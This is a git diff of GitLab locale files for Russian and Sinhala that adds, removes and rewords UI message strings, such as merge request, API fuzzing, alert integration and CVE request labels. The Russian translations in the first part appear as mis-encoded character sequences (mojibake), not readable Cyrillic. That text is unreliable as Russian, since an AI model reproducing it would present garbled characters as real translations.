+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr "помощь"
msgid "http:"
msgstr "http:"
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://ваш-bitbucket-server"
@@ -35955,8 +36829,8 @@ msgstr ""
msgid "manual"
msgstr "ручной"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
-msgstr "МатематичеÑÐºÐ°Ñ ÑоÑтавлÑÑŽÑ‰Ð°Ñ Ñтой запиÑи занимает Ñлишком долго рендеритÑÑ Ð¸ может отображатьÑÑ Ð½ÐµÐ¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾. Ð”Ð»Ñ Ð»ÑƒÑ‡ÑˆÐµÐ¹ производительноÑти, математичеÑкие блоки также ограничены %{maxChars} Ñимволами. Попробуйте разделить большие формулы, разделить математичеÑкие блоки на неÑколько запиÑей или иÑпользовать вмеÑто них изображение."
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
msgid "math|There was an error rendering this math block"
msgstr ""
@@ -35992,13 +36866,10 @@ msgstr "%{commitCount} будет(ут) добавлен(ы) в %{targetBranch}.
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 коммит cлиÑниÑ"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr "Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² иÑходной ветке запроÑа на ÑлиÑние отÑутÑтвуют. ПожалуйÑта, отправьте (push) новые коммиты или иÑпользуйте другую ветку."
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr "Желающие могут внеÑти Ñвой вклад, отправив коммит, еÑли захотÑÑ‚."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
+msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "ЕÑли ветка %{branch} ÑущеÑтвует в вашем локальном репозитории, вы можете объединить Ñтот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние вручную Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr "Ð’Ñ‹ можете удалить иÑходную ветку прÑмо
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Ð’Ñ‹ можете выполнить Ñтот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние вручную Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ"
-
msgid "mrWidget|Your password"
msgstr "Ваш пароль"
msgid "mrWidget|branch does not exist."
msgstr "ветка не ÑущеÑтвует."
-msgid "mrWidget|command line"
-msgstr "командную Ñтроку"
-
msgid "mrWidget|into"
msgstr "в"
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr "по плану"
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr "открыто %{timeAgoString} пользователем %{user} в Jira"
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr "чтобы помочь вашим учаÑтникам взаимоде
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "к ÑпиÑку"
-
msgid "toggle collapse"
msgstr "Ñвернуть/развернуть"
@@ -36720,6 +37567,12 @@ msgstr "Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "подтвердить право ÑобÑтвенноÑти"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index 559f28328aa..daf2a497925 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:51\n"
+"PO-Revision-Date: 2021-04-02 00:11\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
